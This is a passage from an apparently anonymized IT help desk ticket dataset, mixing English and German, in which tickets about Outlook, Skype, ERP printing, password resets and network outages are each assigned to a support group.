soll termin in kw 33, is assigned to Assignment group: GRP\_42.Ticket with Short description: unable to launch outlook and skype, Description: unable to launch outlook and skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to q drive for pollaurid w, Description: \_x000D\_
received from: inhekdol.anvqzdif@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
can you help to put in a ticket for access to the quality assurance drive (q) for employee uqjbkydr bsqofdlx (username: whalep) aerp?\_x000D\_
\_x000D\_
i have copied the "owner" of the drive: eozqgims rbmosifh, quality manager for permission reasons.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: flash player incompatibility, Description: flash player incompatibility, is assigned to Assignment group: GRP\_0.Ticket with Short description: no audio device installed , Description: no audio device installed , is assigned to Assignment group: GRP\_62.Ticket with Short description: wifi not working , Description: wifi not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: need help in connecting a skype meeting that is coming up with an error, Description: need help in connecting a skype meeting that is coming up with an error, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open pdf files., Description: unable to open pdf files in user system, is assigned to Assignment group: GRP\_19.Ticket with Short description: not able to use command field, Description: \_x000D\_
\_x000D\_
received from: ulroqsyf.wctpnarb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to use command field. by default it is taking mc+e.\_x000D\_
pl. help\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f3f8.207cbde0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: microsoft .net framdntyework 4.5 missing, Description: \_x000D\_
\_x000D\_
received from: kuznvase.jrxtbuqz@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
please open ticket and address shortly.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver will not start, Description: i receive an error message when trying to start business\_client. "microsoft net framdntyework 4.5 is not installed" i upgraded my knovel software last night and now i am receiving this message.
ext 133 ( ldil8514566), is assigned to Assignment group: GRP\_0.Ticket with Short description: please, send me a link for password\_management\_tool password manager., Description: please, send me a link for password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype funktionert nicht., Description: from: zlnxswvp ptmzsbhk \_x000D\_
sent: thursday, august 11, 2016 11:58 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: sab : wg: skype lÃ¤sst sich nicht starten\_x000D\_
\_x000D\_
bitte um unterstÃ¼tzung \_x000D\_
\_x000D\_
freundliche gruesse / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: headset, Description: connecting the plantronic headset beshryuwire c725 with thecomputer the speaker of the computer is turned on, too.\_x000D\_
how can it be turned off.\_x000D\_
\_x000D\_
note: the issue already was solved., is assigned to Assignment group: GRP\_0.Ticket with Short description: datenÃ¼bertragung, Description: \_x000D\_
\_x000D\_
received from: weszfyok.fbadnjhu@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
es gibt anscheinend probleme bei der Ã¼bertragung von stempelzeiten ( EU\_tool / erp ) bei 8-stelligen personalnummern ( siehe unten )\_x000D\_
\_x000D\_
freundliche grÃ¼ÃŸe\_x000D\_
weszfyok fbadnjhu\_x000D\_
\_x000D\_
\_x000D\_
von: axesnghb cyzuomxa\_x000D\_
gesendet: donnerstag, 28. juli 2016 12:17\_x000D\_
an: zslugaxq dtwlrofu; laeusvjo fvaihgpx\_x000D\_
cc: weszfyok fbadnjhu\_x000D\_
betreff: leihmitarbeiter lochthowe, andre, 21111177\_x000D\_
\_x000D\_
\_x000D\_
hallo zusammen,\_x000D\_
\_x000D\_
seit dem 21.07.2016 stempelt herr lochthowe mit seiner karte in EU\_tool .\_x000D\_
\_x000D\_
seit dem zeitpunkt werden die daten nicht an erp Ã¼bertragen.\_x000D\_
\_x000D\_
hier stimmt etwas nicht mit der karten- nr. oder der stammnummer.\_x000D\_
\_x000D\_
wir haben hier den ersten mitarbeiter mit einer achtstelligen stammnummer.\_x000D\_
\_x000D\_
kann es daran liegen ????\_x000D\_
\_x000D\_
bitte mal prÃ¼fen.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen\_x000D\_
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: bobj webi jobs are not running, Description: bobj webi jobs are not running. please investigate at the earliest., is assigned to Assignment group: GRP\_14.Ticket with Short description: international payments rejected for payment method "l", Description: \_x000D\_
von: pradyhtueep yyufs \_x000D\_
gesendet: 10 august 2016 09:10\_x000D\_
an: ubiqcrvy mxjcnqfs; nathyresh gayhtjula; -erp-fico; ebusaar munnangi\_x000D\_
cc: iszaguwe bdfzamjs; pkjhmfgc zuvjqgwa; joacrhfz ctrbjusz; maryhtutina bauuyternfeyt\_x000D\_
betreff: re: zahllauf nicht ausgefÃ¼hrt - international payments rejected\_x000D\_
\_x000D\_
jartnine,\_x000D\_
\_x000D\_
we are looking into the development changes which were implemented recently. we will get back to you by tomorrow.\_x000D\_
\_x000D\_
sorry for any inconvenience.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: laptop doesnt stay on , power light stays on for 1 minute only and goes off., Description: \_x000D\_
laptop doesnt stay on , power light stays on for 1 minute only and goes off.\_x000D\_
\_x000D\_
\_x000D\_
from: bmhxwvys tdmgolwn \_x000D\_
sent: thursday, august 11, 2016 3:08 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: zrpemyab xvzwcbha\_x000D\_
subject: tru : fw: damaged laptop\_x000D\_
\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
damage dell laptop lit only 1 minute in, see attachment\_x000D\_
thank for the response and cooperation.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: erp password reset in SID\_34, Description: erp password reset in SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp log on problem, Description: \_x000D\_
\_x000D\_
received from: pgeknaxy.usokqprd@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
i can not log on erp with my password.\_x000D\_
\_x000D\_
could you help me for this issue?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset alert from o365 for user lafgturie sherwtgyu, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: when connecting to hr\_tool, etime window will open but nothing populates the screen. empty screen for etime, no access., Description: , hr\_tool portal access through single sign-on not working. , is assigned to Assignment group: GRP\_0.Ticket with Short description: business card request, Description:
received from: zqbmxdgy.stuwbacm@gmail.com
hello team,
can you please arrange a business card for me , please find the details below and let me know the protocol for the same .
zqbmxdgy stuwbacm
analyst - apps dev maintenance & ebus
zqbmxdgy.stuwbacm@gmail.com<mailto:zqbmxdgy.stuwbacm@gmail.com>
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: to remove plant\_101 plant assignment to sale orgs 1444 & 1445 - romania & slovakia project related, Description: this was supposed to be removed immediately after uat, however we missed removing this assignment. shipment from plant\_101 was assigned only for uacyltoe hxgayczeing purposes. business requirement may come in future. , is assigned to Assignment group: GRP\_13.Ticket with Short description: business card request, Description:
received from: zqbmxdgy.stuwbacm@gmail.com
hello team,
can you please arrange a business card for me , please find the details below and let me know the protocol for the same .
zqbmxdgy stuwbacm
analyst - apps dev maintenance & ebus - erp sd
zqbmxdgy.stuwbacm@gmail.com<mailto:zqbmxdgy.stuwbacm@gmail.com>
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: wegen ein sicherheitsupdate kb4272050 sind keine netzwerkverbindung moeglich, Description: wegen ein sicherheitsupdate kb4272050 sind keine netzwerkverbindung moeglich.\_x000D\_
\_x000D\_
fehlermeldung : keine netzwerk verbinung., is assigned to Assignment group: GRP\_33.Ticket with Short description: change o365 license fron s1 to k1, Description: could you please changes the o365 license of the following employees from "s1" to "k1"
luifdsts olhryhira - 3005661000
cost center pam003
maertosv 315463440 krsxguty odqpwsgi krsxguty.odqpwsgi@gmail.com
soarewer1 31543252 uzavdmoj wrpkolzq uzavdmoj.wrpkolzq@gmail.com
alvesdss 315534434 kgcw isyfngdz ziqmkgcw.isyfngdz@gmail.com
machasssg 315423428 puxqyesm xqathyuz gislei.machado@company.com
peredrfifj 315484560 flavio pereira flavio.pereira@company.com
schidrftas 315453454 maihdlne xodeqlsv maihdlne.xodeqlsv@gmail.com
vieiresddr 315463249 dfjbnrem vabqwxlm dfjbnrem.vabqwxlm@gmail.com
albussdqp 31565532 imeytghj lyrikzep imeytghj.lyrikzep@gmail.com
larsffar 3156232361 rafaelm lara aiuknwzj.nbsjzkqa@gmail.com
ribewddwic 315252651 fhkebpyx tqpermnu fhkebpyx.tqpermnu@gmail.com
carmsswot 31525455 uvyjpixc kbfcrauw uvyjpixc.kbfcrauw@gmail.com
garcisdwr 31552598 rodrigo fernansdes garcia rodrigofernandes.garcia@company.com
olivesswc2 315271 gcbrdkzl oamkcufr cassio.olibercsu@company.com
placisddwd 31502561 douglas placido douglas.placido@company.com
grateful!
, is assigned to Assignment group: GRP\_34.Ticket with Short description: HostName\_1003:( kisp - iis - app server production )disk free on e:\ is now 15%, which is below the warning threshold (15%) , Description: HostName\_1003:( kisp - iis - app server production )disk free on e:\ is now 15%, which is below the warning threshold (15%) , is assigned to Assignment group: GRP\_12.Ticket with Short description: orders can not be printed., Description: es kann keine auftrag gedruckt werden. ziehe fehler. , is assigned to Assignment group: GRP\_0.Ticket with Short description: change erp logon language from german to english, Description: change erp logon language from german to english, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset for user mertut, Description: erp SID\_34 password reset for user mertut, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please reset erp SID\_34 password for user peilerk - thank you!, Description: \_x000D\_
\_x000D\_
received from: krdvgzeh.yboasemp@gmail.com\_x000D\_
\_x000D\_
Ã¼dvÃ¶zlettel / mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: printing, Description: \_x000D\_
\_x000D\_
received from: yfmaqovp.wdonhbez@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
\_x000D\_
do you have any news about the issue of printing of drawings and production papers?\_x000D\_
when is the issue solved?\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot release order / does not print , Description: plant\_108 -> SID\_34, is assigned to Assignment group: GRP\_45.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_72.Ticket with Short description: erp/SID\_34 - production orders cannot be printed out, Description: error:\_x000D\_
verbindung zu system production\_order\_interface\_app-fu mit destination\_x000D\_
production\_order\_interface\_vendor-connc-fu fehlerhaft:\_x000D\_
fehler beim Ã¶ffnen einer rfc-verbindung (cpic-call\_x000D\_
(1)., is assigned to Assignment group: GRP\_45.Ticket with Short description: restore some folders for stoebtrt, Description: \_x000D\_
\_x000D\_
received from: sxhcapoe.kbluefip@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
path to the folder:\_x000D\_
\\HostName\_705\departments\lean\leanÂ³-projekte\lean-projekte\_geplant\fy17<file:///\\HostName\_705\departments\lean\leanÂ³-projekte\lean-projekte\_geplant\fy17>\_x000D\_
\_x000D\_
\_x000D\_
--\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_37hotf, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_37hotf at 08/11/16 04:35:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: wir haben hier in koenigsee probleme mit dem druck aus erp. es kommt ein "production\_order\_interface\_app" fehler., Description: wir haben hier in koenigsee probleme mit dem druck aus erp. es kommt ein "production\_order\_interface\_app" fehler.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: error drucker, Description: \_x000D\_
\_x000D\_
received from: gsnuhpji.qpyfctwl@gmail.com\_x000D\_
\_x000D\_
es wird nichts mehr ausgedruckt\_x000D\_
fehlermeldung\_x000D\_
[cid:image001.png@01d1f3ba.6428d800]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_33.Ticket with Short description: setup new ws \chkzbeav ykeilmog, Description: setup new ws \chkzbeav ykeilmog, is assigned to Assignment group: GRP\_24.Ticket with Short description: no connection to the production\_order\_interface\_app-fu (production\_order\_interface\_vendor connc fu), Description: hello,\_x000D\_
\_x000D\_
we have no connection to the plsseald-fu server. i think the server is down.\_x000D\_
we can't print production orders in germany\_x000D\_
\_x000D\_
\_x000D\_
no connection to the production\_order\_interface\_app-fu (production\_order\_interface\_vendor connc fu)\_x000D\_
error rfc connection (cpic-call), is assigned to Assignment group: GRP\_45.Ticket with Short description: probleme mit erpgui \tmqfjard qzhgdoua, Description: probleme mit erpgui \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \ylhptzmd owslfzqi, Description: setup new ws \ylhptzmd owslfzqi, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \wphqnxly htvrbxmd, Description: setup new ws \wphqnxly htvrbxmd, is assigned to Assignment group: GRP\_24.Ticket with Short description: barcode scanner defekt \pifyudbo tagsfbny, Description: barcode scanner defekt \pifyudbo tagsfbny, is assigned to Assignment group: GRP\_24.Ticket with Short description: business\_client issue, Description: 1.) search material code are unavailable that seraching result is 0 via "specification"\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: elengineering toolonic ethics for employee cajdwtgq breqgycv - training course not activated, Description: \_x000D\_
\_x000D\_
received from: aofnvyzt.eqiyskhm@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
good morning\_x000D\_
\_x000D\_
please your help to add ethics training course to my csr member , cajdwtgq breqgycv.\_x000D\_
\_x000D\_
daria is working in company since march 2015 and despite all our requests since she joined company\_x000D\_
she never received the training course invitation as required to be completed by all employees.\_x000D\_
\_x000D\_
we've answered the below questions by your request,\_x000D\_
if further info is required, please let us know.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_23.Ticket with Short description: outlook issues,yesterday my outlook took about2 hours to load , afterit was very very slow. today can not open outlook, Description: outlook issues,yesterday my outlook took about2 hours to load , afterit was very very slow. today can not open outlook anymore\_x000D\_
please check , is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 4 in 1, Description: dell 4 in 1 adapter not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: pc is not booting up, Description: pc is not booting up. user has already spoken to steffen.\_x000D\_
\_x000D\_
computer name : eagw8111608\_x000D\_
ext : 591, is assigned to Assignment group: GRP\_28.Ticket with Short description: read and write access to oe drive fÃ¼rth, Description: \_x000D\_
\_x000D\_
received from: scjxobhd.ldypjkmf@gmail.com\_x000D\_
\_x000D\_
hello help team ,\_x000D\_
\_x000D\_
can you pls. arrange read & write access for dveuglzp mqetjxwp to the following oe drive on teams\\eagcldaten\teams:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.jpg@01d1ee5f.057a25d0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client issue, Description: specification searching in SID\_34 is not returning any results ... works okay in SID\_1, is assigned to Assignment group: GRP\_14.Ticket with Short description: issue on pricing in distributor\_tool, Description: we have agreed price with many of the distributors for a given period and skus. this is specified through pricing condition zcnc in erp. in distributor\_tool, it is order through sold to & ship to combination.\_x000D\_
- till august â€“ flat rate deployment, we did not have any issues.\_x000D\_
- today, when the distributor tried to book the order with zcnc pricing condition. the initial screen shows the correct price. but when the item is selected and quick order is clicked on, the price is getting changed to list price less standard discount instead of retaining the zcnc price., is assigned to Assignment group: GRP\_21.Ticket with Short description: network outage : melbourne (rowville) site is hard down at 01:34 am et on 08/11. , Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_01:34 am et on 08/11\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes phone warehouse\_tool mail\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: desktop notworking, Description: desktop connected to the phone system in server room at company is not working. please could you troubleshoot and fix the problem.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: abended job in job\_scheduler: Job\_1148, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1148 at 08/11/16 01:15:24, is assigned to Assignment group: GRP\_9.Ticket with Short description: power adaptor in docking station is faulty, Description: if i connect my laptop to docking station and try to power on, encounter the attached message. have confirmed that the message does not appear if i use external adaptor or another docking station. serial number of docking station is qad1234013705.
location: 4k-25.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: circuit outage: mpls ciruit is down at matlxjgi elrndiuy since 12:19am et on 08/11. site is up on vpn., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_12:19am et on 08/11\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: i can't login skype after change password , Description: i can't login skype after change password , but other application is ok , is assigned to Assignment group: GRP\_0.Ticket with Short description: 89.61.05.183 - thermal warning , Description: 89.61.05.183 - the temperature of the switch has reached red threshold. , is assigned to Assignment group: GRP\_4.Ticket with Short description: request to reset microsoft online services password for mvkpjdfi.guexyfpk@gmail.com, Description: request to reset microsoft online services password for mvkpjdfi.guexyfpk@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook search issues, Description: \_x000D\_
\_x000D\_
received from: duoyrpvi.wgjpviul@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
my outlook is failing to bring up emails in my search function:\_x000D\_
\_x000D\_
[cid:image001.png@01d1f3b2.4bb18b30]\_x000D\_
\_x000D\_
i have tried to rebuild the indexing but it fails. this has been happening all week.\_x000D\_
\_x000D\_
i need to be able to use this function.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help to install symantec in a computer lpaw7404734, Description: hi team, i need your help to reinstall antivirus (symantec) in a computer lpaw8515845. the symantec don't working.\_x000D\_
\_x000D\_
if you have more doubts, please contact me., is assigned to Assignment group: GRP\_50.Ticket with Short description: dell 7350: pc boot up failure.urgent , Description: dell 7350: pc boot up failure.
-had to try restart the pc multiple times.
the system reboots automatically.in a loop.
-finally got the pc up and running.
-seems to be issue with the pc .again the pc shut down.
computer name: lmsl9516544
-os: win 8
-contact : , is assigned to Assignment group: GRP\_3.Ticket with Short description: abended job in job\_scheduler: Job\_461, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_461 at 08/10/16 17:44:25, is assigned to Assignment group: GRP\_5.Ticket with Short description: new employee mikhghytr karaffa - needs new desk phone, Description: new employee mikhghytr karaffa - needs new desk phone
phone: , is assigned to Assignment group: GRP\_3.Ticket with Short description: global erp crm: it appears that erp crm is trying to send the "review by sales" email to the customer contact., Description: global erp crm: it appears that erp crm is trying to send the "review by sales" email to the customer contact. the "review by sales" email was originally configured so that it would only get sent to the sales employee. the "review by sales" email should never get sent to the customer contact. examples 7611181804, 7611181405, 7611181483. refer to the attached screen shots. did someone change something? please investigate and advise aerp., is assigned to Assignment group: GRP\_15.Ticket with Short description: mobile device activation, Description: mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install engineering\_tool, Description: unable to install engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for bsopzxhi irfhcgzq, Description: password reset for bsopzxhi irfhcgzq, is assigned to Assignment group: GRP\_0.Ticket with Short description: password, Description: \_x000D\_
\_x000D\_
received from: xzjlkfvc.agfmpyhr@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
please reset my password and sending the password to log in.\_x000D\_
well , is assigned to Assignment group: GRP\_0.Ticket with Short description: create sso for qiyujevw ogadikxv, Description: create purchasingupstreamsso ad group for qiyujevw ogadikxv (wanrtygm3). the samaccountname in ad is to be all lower case., is assigned to Assignment group: GRP\_2.Ticket with Short description: unlock account email in cell phone the user michthey olivgtyera id: olivgtyemc, Description: hello team,
could you please unlock account email in cell phone the user michthey olivgtyera id: olivgtyemc
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1953d, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953d at 08/10/16 14:57:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: dynamics crm advanced find ribbon issue, Description: the ribbon in advanced find is displaced making it difficult to query the system/create views. (see attached), is assigned to Assignment group: GRP\_40.Ticket with Short description: when using phone, connection is intermittent. cannot use desk phone for calls and skype meetings., Description: my cell phone is
other people at jc have complained about the same thing., is assigned to Assignment group: GRP\_4.Ticket with Short description: vpn link , Description: vpn link , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: error in accessing reporting\_engineering\_tool, Description: error in accessing reporting\_engineering\_tool\_x000D\_
\_x000D\_
bill, this would need to be a ticket. gso â€“ please assign to the analytics technical team. might be that the t account for magda is locked out; can republish using an analytics t account.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: engineering tool - permition to sign in - include user id on cad users list , Description: i need have access on engineering tool, however when i tried do logon engineering tool show me te message that i had permission .
please include my user id on cad user list.
let me know if you need more information.
contact phone:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for esias bosch using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: reporting\_tool web link in crm not opening up, Description: reporting\_tool web link in crm not opening up, is assigned to Assignment group: GRP\_0.Ticket with Short description: sharepiont discount request error, Description: infopath cannot submit the form.\_x000D\_
an error occurred while the form was being submitted.\_x000D\_
the form cannot be submitted to the following location: \_x000D\_
the site may be offline, read-only, or otherwise unavailable.\_x000D\_
access denied. before opening files in this location, you must first add the web site to your trusted sites list, browse to the web site, and select the option to login automatically.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access, Description: name:nxloukai cpbzkrel
language:
browser:microsoft internet explorer
email:nxloukai.cpbzkrel@gmail.com
customer number:
telephone:
summary:i need an update on my it ticket ticket\_no1530185...this needs to be resolved aerp, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: company center page does not load, Description: company center page does not load, is assigned to Assignment group: GRP\_0.Ticket with Short description: system login issue., Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver not working, Description: netweaver not working
name:iauqlrjk nijdaukz
language:
browser:microsoft internet explorer
email:iauqlrjk.nijdaukz@gmail.com
customer number:
telephone:
summary:i am not able to open net weaver business client, i receive an error that microsoft .net framdntyework 4.5 is not installed and to contact my administrator., is assigned to Assignment group: GRP\_0.Ticket with Short description: qualys scan for required server completion HostName\_17-new, Description: category task owner\_x000D\_
documentation see attached server profile forms nvyjtmca xjhpznds\_x000D\_
global security create global groups and add the appropriate users security group\_x000D\_
local security implement local users/groups/security\_tool kathght shfhyw\_x000D\_
monitoring add to reporting\_tool monitoring/dac inventory erirtc baurhty/hoavdlwc ungksotp\_x000D\_
sep add server to sep management server akisjtzm uvbmysgcbenezer/kishore nikam\_x000D\_
sms/patching\_antivirus\_sw add server to sms/patching\_antivirus\_sw shahid nawab\_x000D\_
security run qualsys scan gzhapcld fdigznbk / ugyothfz ugrmkdhx\_x000D\_
backup configure backup local/remote timnhyt rehtyulds/gdhyrts muggftyali \_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: shop\_floor\_app problems, Description: from: vldwtjgr vtzakpol \_x000D\_
sent: wednesday, august 10, 2016 8:27 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: dctvfjrn oypnxftq\_x000D\_
subject: amar re: shop\_floor\_app problems\_x000D\_
\_x000D\_
help desk,\_x000D\_
\_x000D\_
we are experiencing problems widtqkwzup vtkzuqly in the tinning cell. please assign the shop\_floor\_app support group to work on this issue. the operators are reporting that not all the production orders they are badging are posting. please let me know what further info you need from me.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_43.Ticket with Short description: engineering\_tool error, Description: engineering\_tool error, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset as its expired, Description: name:ivxybewh ykhsqvnu
language:
browser:microsoft internet explorer
email:ivxybewh.ykhsqvnu@gmail.com
customer number:
telephone:
summary:i need all of my passwords reset so i can log into my computer and into erp., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: vitalyst transfer: service unavailable on crm online, Description: vitalyst transfer: service unavailable on crm online, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: hardware issue, Description: when user is trying to use a separate computer t install a software he's getting a message stating that windows cannot connect to the domain either because the domain controller is down or otherwise unavailable or because your computer account was not found. this computer needs to replace a dead pc in the shop floor and user need to install a software to make it up and running., is assigned to Assignment group: GRP\_3.Ticket with Short description: call transferred to amfgtyartya for password , Description: call transferred to amfgtyartya for password , is assigned to Assignment group: GRP\_0.Ticket with Short description: trying to access collaboration\_platform site, Description:
i'm trying to access this collaboration\_platform site. i believe it was managed by bill gofgrthyuetz who left the company. i requested access on 6/30/16 and haven't received a response.
